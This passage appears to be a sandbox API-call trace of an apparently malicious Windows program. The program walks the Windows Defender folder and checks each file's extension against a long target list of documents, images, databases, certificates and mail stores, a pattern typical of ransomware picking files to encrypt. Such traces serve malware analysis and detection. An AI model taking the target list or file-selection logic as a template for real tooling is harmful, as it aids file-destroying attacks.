	[0180.016] lstrcmpiW (lpString1=".html", lpString2="p.exe") returned -1
	[0180.016] lstrlenW (lpString=".icb") returned 4
	[0180.016] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".ics") returned 4
	[0180.016] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".iff") returned 4
	[0180.016] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".inc") returned 4
	[0180.016] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".indd") returned 5
	[0180.016] lstrcmpiW (lpString1=".indd", lpString2="p.exe") returned -1
	[0180.016] lstrlenW (lpString=".ini") returned 4
	[0180.016] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".iqy") returned 4
	[0180.016] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".j2c") returned 4
	[0180.016] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".j2k") returned 4
	[0180.016] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".java") returned 5
	[0180.016] lstrcmpiW (lpString1=".java", lpString2="p.exe") returned -1
	[0180.016] lstrlenW (lpString=".jp2") returned 4
	[0180.016] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0180.016] lstrlenW (lpString=".jpc") returned 4
	[0180.017] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".jpe") returned 4
	[0180.017] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".jpeg") returned 5
	[0180.017] lstrcmpiW (lpString1=".jpeg", lpString2="p.exe") returned -1
	[0180.017] lstrlenW (lpString=".jpf") returned 4
	[0180.017] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".jpg") returned 4
	[0180.017] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".jpx") returned 4
	[0180.017] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".js") returned 3
	[0180.017] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0180.017] lstrlenW (lpString=".jsf") returned 4
	[0180.017] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".json") returned 5
	[0180.017] lstrcmpiW (lpString1=".json", lpString2="p.exe") returned -1
	[0180.017] lstrlenW (lpString=".jsp") returned 4
	[0180.017] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".kdc") returned 4
	[0180.017] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".kmz") returned 4
	[0180.017] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".kwm") returned 4
	[0180.017] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".lasso") returned 6
	[0180.017] lstrcmpiW (lpString1=".lasso", lpString2="tp.exe") returned -1
	[0180.017] lstrlenW (lpString=".lbi") returned 4
	[0180.017] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".lgf") returned 4
	[0180.017] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0180.017] lstrlenW (lpString=".lgp") returned 4
	[0180.018] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".log") returned 4
	[0180.018] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".m1v") returned 4
	[0180.018] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".m4a") returned 4
	[0180.018] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".m4v") returned 4
	[0180.018] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".max") returned 4
	[0180.018] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".md") returned 3
	[0180.018] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0180.018] lstrlenW (lpString=".mda") returned 4
	[0180.018] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".mdb") returned 4
	[0180.018] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".mde") returned 4
	[0180.018] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".mdf") returned 4
	[0180.018] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".mdw") returned 4
	[0180.018] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0180.018] lstrlenW (lpString=".mef") returned 4
	[0180.018] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mft") returned 4
	[0180.019] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mfw") returned 4
	[0180.019] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mht") returned 4
	[0180.019] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mhtml") returned 6
	[0180.019] lstrcmpiW (lpString1=".mhtml", lpString2="tp.exe") returned -1
	[0180.019] lstrlenW (lpString=".mka") returned 4
	[0180.019] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mkidx") returned 6
	[0180.019] lstrcmpiW (lpString1=".mkidx", lpString2="tp.exe") returned -1
	[0180.019] lstrlenW (lpString=".mkv") returned 4
	[0180.019] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mos") returned 4
	[0180.019] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mov") returned 4
	[0180.019] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mp3") returned 4
	[0180.019] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mp4") returned 4
	[0180.019] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mpeg") returned 5
	[0180.019] lstrcmpiW (lpString1=".mpeg", lpString2="p.exe") returned -1
	[0180.019] lstrlenW (lpString=".mpg") returned 4
	[0180.019] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mpv") returned 4
	[0180.019] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0180.019] lstrlenW (lpString=".mrw") returned 4
	[0180.020] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".msg") returned 4
	[0180.020] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".mxl") returned 4
	[0180.020] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".myd") returned 4
	[0180.020] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".myi") returned 4
	[0180.020] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".nef") returned 4
	[0180.020] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".nrw") returned 4
	[0180.020] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".obj") returned 4
	[0180.020] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".odb") returned 4
	[0180.020] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".odc") returned 4
	[0180.020] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".odm") returned 4
	[0180.020] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".odp") returned 4
	[0180.020] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".ods") returned 4
	[0180.020] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0180.020] lstrlenW (lpString=".oft") returned 4
	[0180.020] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".one") returned 4
	[0180.021] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".onepkg") returned 7
	[0180.021] lstrcmpiW (lpString1=".onepkg", lpString2="ftp.exe") returned -1
	[0180.021] lstrlenW (lpString=".onetoc2") returned 8
	[0180.021] lstrcmpiW (lpString1=".onetoc2", lpString2="dftp.exe") returned -1
	[0180.021] lstrlenW (lpString=".opt") returned 4
	[0180.021] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".oqy") returned 4
	[0180.021] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".orf") returned 4
	[0180.021] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".p12") returned 4
	[0180.021] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".p7b") returned 4
	[0180.021] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".p7c") returned 4
	[0180.021] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pam") returned 4
	[0180.021] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pbm") returned 4
	[0180.021] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pct") returned 4
	[0180.021] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pcx") returned 4
	[0180.021] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pdd") returned 4
	[0180.021] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0180.021] lstrlenW (lpString=".pdf") returned 4
	[0180.021] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pdp") returned 4
	[0180.022] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pef") returned 4
	[0180.022] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pem") returned 4
	[0180.022] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pff") returned 4
	[0180.022] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pfm") returned 4
	[0180.022] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pfx") returned 4
	[0180.022] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pgm") returned 4
	[0180.022] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".php") returned 4
	[0180.022] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".php3") returned 5
	[0180.022] lstrcmpiW (lpString1=".php3", lpString2="p.exe") returned -1
	[0180.022] lstrlenW (lpString=".php4") returned 5
	[0180.022] lstrcmpiW (lpString1=".php4", lpString2="p.exe") returned -1
	[0180.022] lstrlenW (lpString=".php5") returned 5
	[0180.022] lstrcmpiW (lpString1=".php5", lpString2="p.exe") returned -1
	[0180.022] lstrlenW (lpString=".phtml") returned 6
	[0180.022] lstrcmpiW (lpString1=".phtml", lpString2="tp.exe") returned -1
	[0180.022] lstrlenW (lpString=".pict") returned 5
	[0180.022] lstrcmpiW (lpString1=".pict", lpString2="p.exe") returned -1
	[0180.022] lstrlenW (lpString=".pl") returned 3
	[0180.022] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0180.022] lstrlenW (lpString=".pls") returned 4
	[0180.022] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0180.022] lstrlenW (lpString=".pm") returned 3
	[0180.023] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0180.023] lstrlenW (lpString=".png") returned 4
	[0180.023] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".pnm") returned 4
	[0180.023] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".pot") returned 4
	[0180.023] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".potm") returned 5
	[0180.023] lstrcmpiW (lpString1=".potm", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".potx") returned 5
	[0180.023] lstrcmpiW (lpString1=".potx", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".ppa") returned 4
	[0180.023] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".ppam") returned 5
	[0180.023] lstrcmpiW (lpString1=".ppam", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".ppm") returned 4
	[0180.023] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".pps") returned 4
	[0180.023] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".ppsm") returned 5
	[0180.023] lstrcmpiW (lpString1=".ppsm", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".ppt") returned 4
	[0180.023] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0180.023] lstrlenW (lpString=".pptm") returned 5
	[0180.023] lstrcmpiW (lpString1=".pptm", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".pptx") returned 5
	[0180.023] lstrcmpiW (lpString1=".pptx", lpString2="p.exe") returned -1
	[0180.023] lstrlenW (lpString=".prn") returned 4
	[0180.023] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".ps") returned 3
	[0180.024] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0180.024] lstrlenW (lpString=".psb") returned 4
	[0180.024] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".psd") returned 4
	[0180.024] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".pst") returned 4
	[0180.024] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".ptx") returned 4
	[0180.024] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".pub") returned 4
	[0180.024] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".pwm") returned 4
	[0180.024] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".pxr") returned 4
	[0180.024] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".py") returned 3
	[0180.024] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0180.024] lstrlenW (lpString=".qt") returned 3
	[0180.024] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0180.024] lstrlenW (lpString=".r3d") returned 4
	[0180.024] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".raf") returned 4
	[0180.024] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".rar") returned 4
	[0180.024] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0180.024] lstrlenW (lpString=".raw") returned 4
	[0180.024] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0180.025] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmMonitoringInstall.mof", cAlternateFileName="")) returned 1
	[0180.025] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMMonitoringProvider.dll", cAlternateFileName="")) returned 1
	[0180.025] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x520c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AmStatusInstall.mof", cAlternateFileName="")) returned 1
	[0180.025] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientWMIInstall.mof", cAlternateFileName="")) returned 1
	[0180.025] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConfigSecurityPolicy.exe", cAlternateFileName="")) returned 1
	[0180.026] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataLayer.dll", cAlternateFileName="")) returned 1
	[0180.026] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x171cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DbgHelp.dll", cAlternateFileName="")) returned 1
	[0180.026] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefenderCSP.dll", cAlternateFileName="")) returned 1
	[0180.026] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Defendericon.png", cAlternateFileName="")) returned 1
	[0180.026] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.026] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0180.027] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0180.028] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.028] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1
	[0180.029] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0180.029] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1
	[0180.029] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1
	[0180.029] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpResL.dll.mui", cAlternateFileName="")) returned 1
	[0180.029] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe.mui", cAlternateFileName="")) returned 1
	[0180.030] lstrlenW (lpString="OfflineScannerShell.exe.mui") returned 27
	[0180.030] lstrlenW (lpString=".1cd") returned 4
	[0180.030] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0180.030] lstrlenW (lpString=".3ds") returned 4
	[0180.030] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0180.030] lstrlenW (lpString=".3fr") returned 4
	[0180.030] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0180.030] lstrlenW (lpString=".3g2") returned 4
	[0180.030] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0180.030] lstrlenW (lpString=".3gp") returned 4
	[0180.030] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0180.030] lstrlenW (lpString=".7z") returned 3
	[0180.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0180.030] lstrlenW (lpString=".accda") returned 6
	[0180.030] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0180.030] lstrlenW (lpString=".accdb") returned 6
